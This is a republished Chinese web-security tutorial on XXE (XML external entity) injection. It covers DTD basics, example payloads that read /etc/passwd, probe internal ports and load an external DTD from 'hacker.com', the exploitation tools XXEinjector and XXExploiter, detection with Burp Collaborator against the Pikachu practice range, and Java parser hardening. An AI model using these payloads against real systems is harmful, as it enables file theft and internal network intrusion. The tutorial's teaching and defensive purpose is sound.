返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >XXE漏洞详解与利用
  • 512
分享到

XXE漏洞详解与利用

phpweb安全 2023-09-13 16:09:30 512人浏览 薄情痞子
摘要

XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件、执行系统命令、内网探测与攻击等危害的一

XXE:XML 外部实体注入

XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件、执行系统命令、内网探测与攻击等危害的一类漏洞。

是不是想到了上节课讲的 SSRF?没错,利用 XXE 可以造成 SSRF。

PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 php 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。

simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);

本文也不打算再讲 PHP 环境下的 XXE 漏洞,Java 才是 XXE 漏洞最常见的语言,因此主要以 Java 为例做一些介绍。但在漏洞利用的实例演示上,我依然用 Pikachu 靶场的 XXE 题目(PHP),因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。

那么,什么是 XML?

XML(Extensible Markup Language)意为可扩展性标记语言,我将介绍下 XML 的一些基础知识,方便你更好地理解漏洞原理。

1.XML 文档结构

XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素,具体可以参考以下示例。

 people [    people (name,age,mail)>    name (#PCDATA)>       age (#PCDATA)>     mail (#PCDATA)>   ]]]><people>  <name>johnname>  <age>18age>  <mail>john@qq.commail>people>

三者其中,与 XXE 漏洞相关的主要在于文档类型定义(DTD),所以下面主要重点来介绍下 DTD。

2.DTD 实体声明

DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:

DTD 实体就是变量,它既可以在文档内部声明,也可以外部引用,供在 XML 文档里面去使用。

  • 内部实体声明

内部声明采用如下格式定义:

  "实体值">

声明之后就可以通过“&实体名;”来获取,示例如下:

  foo [    test "john">  ]>  <root>    <name>&test;name>  root
  • 外部实体引用

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。

(1)普通实体声明格式如下:

"URI">或者"public_ID" "URI">

举个例子:

    ]>&xxe;

声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。

(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

"实体的值">或者"URI">

举个例子:

foo [  xxe SYSTEM "Http://hacker.com/evil.dtd" >  %xxe;]><root>  <name>&evil;name>root>

xxe.dtd 内容如下:

evil SYSTEM "file:///etc/passwd">

上面先声明 xxe 参数实体,引入外部实体 "http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。
在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。

危害:XXE 的常见攻击手段

下面介绍一些 XXE 漏洞的常见利用方法,并提供一些 payload 测试用例,测试仍以 Pikachu XXE 题目作为演示。

1.内网攻击

XXE 支持 http 等 URL,所以同样可以产生与 SSRF 一样效果,对内网进行指纹探测、端口扫描、漏洞攻击等行为。

比如以下的 payload:

ANY [    xxe SYSTEM "http://192.168.31.124:4444/test">]><x>&xxe;x>r>

由于不存在该端口,所以会出错误:

图片1.png

图 1 探测内网端口失败

成功的话,会返回空白,通过这种对比差异,可以判断是否利用成功:

图片2.png

图 2 探测内网端口成功

2.读取本地文件

通过 file:// 可以读取本地文件,造成敏感文件泄露:

ANY [    xxe SYSTEM "file:///etc/passwd">]><x>&xxe;x>

输入上述 XML 提交后,成功读取到 /etc/passwd 文件内容:

Drawing 2.png

图 3 利用XXE漏洞读取 /etc/passwd

3.远程执行命令

如果是 PHP 环境下并安装 except 扩展,就可以利用它执行系统命令了。这种情况现在已经比较少见了,更多还是要利用其他漏洞来实现命令或代码执行。

]>&xxe;

XXE 漏洞利用工具

1.XXEinjector

推荐一款综合型的 XXE 漏洞利用工具XXEinjector,用 Ruby 开发,运行前需要先安装 ruby。

sudo apt install ruby

通过输入请求包数据,并指定攻击行为,比如列目录、读文件等。

$ cat req.txt                                                                                    1 ↵GET /mmpaymd/ordercallback HTTP/1.1Host: 100.95.204.69:8081Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWEBKit/537.36 (Khtml, like Gecko) Chrome/65.0.3325.181 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh,zh-CN;q=0.9,en;q=0.8Cache-Control: max-age=259200Connection: keep-alive

常用命令如下:
Drawing 3.png

图 4 XXEinjector 常用命令

不过,不能完全依赖于 XXEinjector,因为之前我在测试时,发现它也有利用不成功的情况,需要自己多测试验证下。

其他更多 XXE payload,可以参考“XML External Entity (XXE) Injection Payload List”

2.XXExploiter

如果你记不住上面那些 XXE payload,还有个工具可以帮你生成,一款集 payload 生成与发包利用的 XXE 利用工具 XXExploiter,它可以启动服务提供远程 DTD 文件去实现利用。

图片5.png

图 5 xxeploiter 利用方法

就功能而言,个人觉得它比 XXEinjector 更优秀,生成 payload 的功能还可以用于辅助手工测试,结合业务场景自己做一些调整。

XXE 漏洞挖掘

1.黑盒测试

XXE 依然如 SSRF 分为有回显、无回显。通过 XXE 可以造成 SSRF,所以它的检测思路与 SSRF 大同小异,比较通用的方式也是构造特定外网服务器的访问请求,然后查询外网服务器的请求日志,以判断是否请求成功。

无论是手工测试还是自动化,当前检测 XXE 和 SSRF 漏洞的方式大多是基于此原理。

上一讲介绍的 Burp Collaborator,在此处就用得上,使用前面介绍的常见攻击手段,去尝试构造多种测试请求,是否向 Burp Collaborator Server 请求成功,就可以很容易地判断是否存在 XXE。

以 Pikachu 靶场的 XXE 题目为例。用 Burp Collaborator 获得 DNS 解析服务器的地址 b5hcm1ypwg6bvqnxtm6iyqao9ff53u.burpcollaborator.net,然后构造 XXE payload。

ANY [    xxe SYSTEM "http://b5hcm1ypwg6bvqnxtm6iyqao9ff53u.burpcollaborator.net">]><x>&xxe;x>

将上述 payload 输入文本框,点“提交”:
图片6.png

图 6 输入 xml payload

在 Burp Collaborator client 上点击“Poll now”就可以看到请求日志,说明确实存在 XXE 漏洞。

Drawing 6.png

图 7 利用 XXE 请求 Collaborator server 成功

2.白盒审计

以 Java 为例,可以在代码中搜索常用的 XML 解析器,看它们在实例化之后,是否有关闭外部实体引用功能,如果没有就可能存在 XXE 漏洞。

javax.xml.parsers.DocumentBuilderFactory;javax.xml.parsers.SAXParserjavax.xml.transfORM.TransformerFactoryjavax.xml.validation.Validatorjavax.xml.validation.SchemaFactoryjavax.xml.transform.sax.SAXTransformerFactoryjavax.xml.transform.sax.SAXSourceorg.xml.sax.XMLReaderDocumentHelper.parseTextDocumentBuilderorg.xml.sax.helpers.XMLReaderFactoryorg.dom4j.io.SAXReaderorg.jdom.input.SAXBuilderorg.jdom2.input.SAXBuilderjavax.xml.bind.Unmarshallerjavax.xml.xpath.XpathExpressionjavax.xml.stream.XMLStreamReaderorg.apache.commons.digester3.Digesterrg.xml.sax.SAXParseExceptionpublicId

这部分可以结合“XML External Entity Prevention Cheat Sheet”来看,不同语言、不同的 XML 解析库有不同的关闭外部实体引用的方法,在代码审计时,可以对照着看,然后拿一些 xxe payload 实际验证下。

防御 XXE 漏洞

要防御 XXE 也比较简单,关闭外部实体引用即可。比如在 Java 中常用于解析 XML 的 DocumentBuilderFactory,就可以通过 setFeature 方法防御 XXE 漏洞,注意是组合使用,而不是单一防御。

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();String FEATURE = null;try {    // 禁用DTD    FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";    dbf.setFeature(FEATURE, true);
// 禁用普通实体FEATURE = "http://xml.org/sax/features/external-general-entities";dbf.setFeature(FEATURE, false);// 禁用参数实体FEATURE = "http://xml.org/sax/features/external-parameter-entities";dbf.setFeature(FEATURE, false);// 禁用外部DTD引用FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";dbf.setFeature(FEATURE, false);// 禁用XInclude处理功能dbf.setXIncludeAware(false);// 禁用扩展实体引用节点,注意:只使用该方法并不能完全防御XXEdbf.setExpandEntityReferences(false);

} catch () {

}
// Load XML file or stream using a XXE agnostic configured parser…
DocumentBuilder safebuilder = dbf.newDocumentBuilder();

不同的 XML 解析库有不同的关闭方式,比如全面介绍 XXE 防御方案的是 OWASP 发表的“XML External Entity Prevention Cheat Sheet”,针对不同的语言、XML 解析库,给出不同的防御方案,并提供关闭 XML 实体引用的代码示例,你在防御或者需要修复 XXE 漏洞时可以作为参考。

如果业务需要引用外部实体,建议采用白名单方式限制。

小结

本节课介绍了 XXE(XML 实体注入)漏洞相关的基础知识、漏洞成因和常见攻击手段,有时需要根据有无回显的情况,采取不同的测试方法。

在日常实际应用中,大家都习惯当作无回显的情况来看待,因为无回显的检测方法同样适用于有回显的,相对比较通用。

同时,给你推荐了 XXEinjector 和 XXExploiter 两款利用工具,在辅助检测 XXE 漏洞时会有所帮助。个人更偏好用 XXExploiter,因为它功能更多,利用成功率更高一些,还可以生成 payload 用于测试。

Burp Collaborator 在检测无回显的 XXE 漏洞时,非常好用,结合 XXExploiter 生成的 payload,对其中的 URL 调整为 Burp Collaborator  Server,借助 Burp Collaborator 的自动检测服务端的请求日志,可以帮助判断漏洞是否存在,又不用再自己搭建外网服务器,是一种节约成本的检测方法。


来源地址:https://blog.csdn.net/qq_56438857/article/details/126280609

--结束END--

本文标题: XXE漏洞详解与利用

本文链接: https://lsjlt.com/news/406157.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • XXE漏洞详解与利用
    XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件、执行系统命令、内网探测与攻击等危害的一...
    99+
    2023-09-13
    php web安全
  • XXE&XML漏洞详解
    XXE&XML漏洞详解 1.XML基础1.1.XML基础介绍1.2.XML文档结构1.3.DTD介绍1.4.实体类介绍1.5.外部实体 2.XXE漏洞基本介绍2.1.XXE漏洞基本概念2....
    99+
    2023-09-10
    xml 网络 安全 php web安全
  • 详解PHP渗透测试文件包含漏洞与利用
    目录什么是文件包含漏洞文件包含漏洞的分类本地文件包含漏洞&利用利用条件(以PHP为例)直接访问文件利用协议读取源代码截断%00长度截断PHP的伪协议file://php://...
    99+
    2024-04-02
  • log4j漏洞详解
    一.什么是log4j log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。 使用方法:                 1.pom引入依赖              ...
    99+
    2023-08-31
    java 开发语言 分布式
  • WordPress网站漏洞利用及漏洞修复解决方案
    2019年正月刚开始,WordPress最新版本存在远程代码注入获取SHELL漏洞,该网站漏洞影响的版本是wordpress5.0.0,漏洞的产生是因为image模块导致的,因为代码里可以进行获取目录权限,以及文件包含功能,导致远程代码注入...
    99+
    2023-06-03
  • 利用lynis如何进行linux漏洞扫描详解
    前言 lynis 是一款运行在 Unix/linux 平台上的基于主机的、开源的安全审计软件。Lynis是针对Unix/Linux的安全检查工具,可以发现潜在的安全威胁。这个工具覆盖可疑文件监测、漏洞、恶意程序扫描、配置...
    99+
    2022-06-04
    linux lynis linux漏洞扫描 linux 漏洞扫描工具
  • SQL inject 漏洞手工利用过程详解:get shell
    思路:上传一个“后门”,通过控制后门来得到shell,比如一句话***。比如:<system($_REQUEST['cmd']);> //通过request提交,执行shell<php@e...
    99+
    2024-04-02
  • ewebeditor漏洞利用总结
    为了利用ewebeditor漏洞,攻击者可以利用以下几个常见的方法:1. SQL注入:ewebeditor中存在SQL注入漏洞,攻击...
    99+
    2023-09-20
    ewebeditor
  • BlueKeep 漏洞利用分析
    作者:SungLin@知道创宇404实验室时间:2019年9月18日原文链接:https://paper.seebug.org/1035/0x00 信道的创建、连接与释放通道的数据包定义在MCS Connect Inittial ...
    99+
    2023-06-04
  • Nginx 解析漏洞复现及利用
    Nginx 解析漏洞复现 今天被老师进行进行面试了,被问到了什么是解析漏洞,呜呜呜我太菜了,答不出来,但是生命不息,学习不止,现在就让我们一起学习一下什么是解析漏洞。 打开vulhub靶场,这个靶场搭...
    99+
    2023-09-14
    网络安全 web安全
  • php安全攻防利用文件上传漏洞与绕过技巧详解
    目录前言文件上传漏洞的一些场景场景一:前端js代码白名单判断.jpg|.png|.gif后缀场景二:后端PHP代码检查Content-type字段场景三:代码黑名单判断.asp|.a...
    99+
    2024-04-02
  • 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell
    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径、绝对路径、相对路径) 具有文件可读权限 提交参数http://localhost/include/...
    99+
    2023-09-05
    php 安全 Powered by 金山文档
  • 解析Redis未授权访问漏洞复现与利用危害
    目录一、漏洞简介以及危害:1.什么是redis未授权访问漏洞:2.漏洞的危害3.漏洞的影响二、漏洞复现:三、未授权访问漏洞测试0x01 利用redis写webshell0&...
    99+
    2024-04-02
  • thinkphp漏洞利用工具-ThinkphpGUI(一)
    Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell。 项目地址 https://github.com/Lotus6/ThinkphpGUI 快速使用 1.检测...
    99+
    2023-09-18
    web安全 thinkphp RCE getshell thinkphp漏洞利用
  • Apache文件解析漏洞详解
    今天继续给大家介绍渗透测试相关知识,本文主要内容是Apache文件解析漏洞详解。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:...
    99+
    2023-09-04
    apache 文件上传 文件解析漏洞 Wen安全 渗透测试
  • 反序列化漏洞详解
    目录 一、什么是序列化和反序列化 二、什么是反序列化漏洞 三、序列化函数(serialize) 四、反序列化(unserialize) ​五、什么是PHP魔术方法 六、一些常见的魔术方法 七、魔术方法的利用  八、反序列化漏洞的利用 1._...
    99+
    2023-09-02
    web安全 安全 php
  • 文件上传漏洞详解
    1.什么是文件上传漏洞 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本...
    99+
    2023-09-10
    安全 web安全
  • 文件包含漏洞详解
    文件包含漏洞详解 1.文件包含漏洞介绍1.1.文件包含漏洞解释1.2.文件包含漏洞原理1.3.文件包含的函数1.3.1.常见的文件包含函数1.3.2.PHP函数区别: 1.4.文件包含漏...
    99+
    2023-09-16
    web安全 网络安全 系统安全 http
  • Web漏洞-文件包含漏洞超详细全解(附实例)
    目录 一、导图 二、文件包含漏洞 1.脚本代码 2.原理演示 3.漏洞成因 4.检测方法 5.类型分类 三、本地文件包含漏洞的利用 四、远程文件包含漏洞的利用 五、协议的玩法 ​六、南邮杯CTF实例 ​七、i春秋百度杯实例 八...
    99+
    2023-08-31
    php web安全 文件包含漏洞 网络安全 后端
  • 详解PHP反序列化漏洞示例与原理
    目录预备知识PHP序列化与反序列化序列化字符串格式PHP魔术方法示例反序列化漏洞构造函数&析构函数CVE-2016-7124预备知识 PHP序列化与反序列化 序列化:将一个复...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作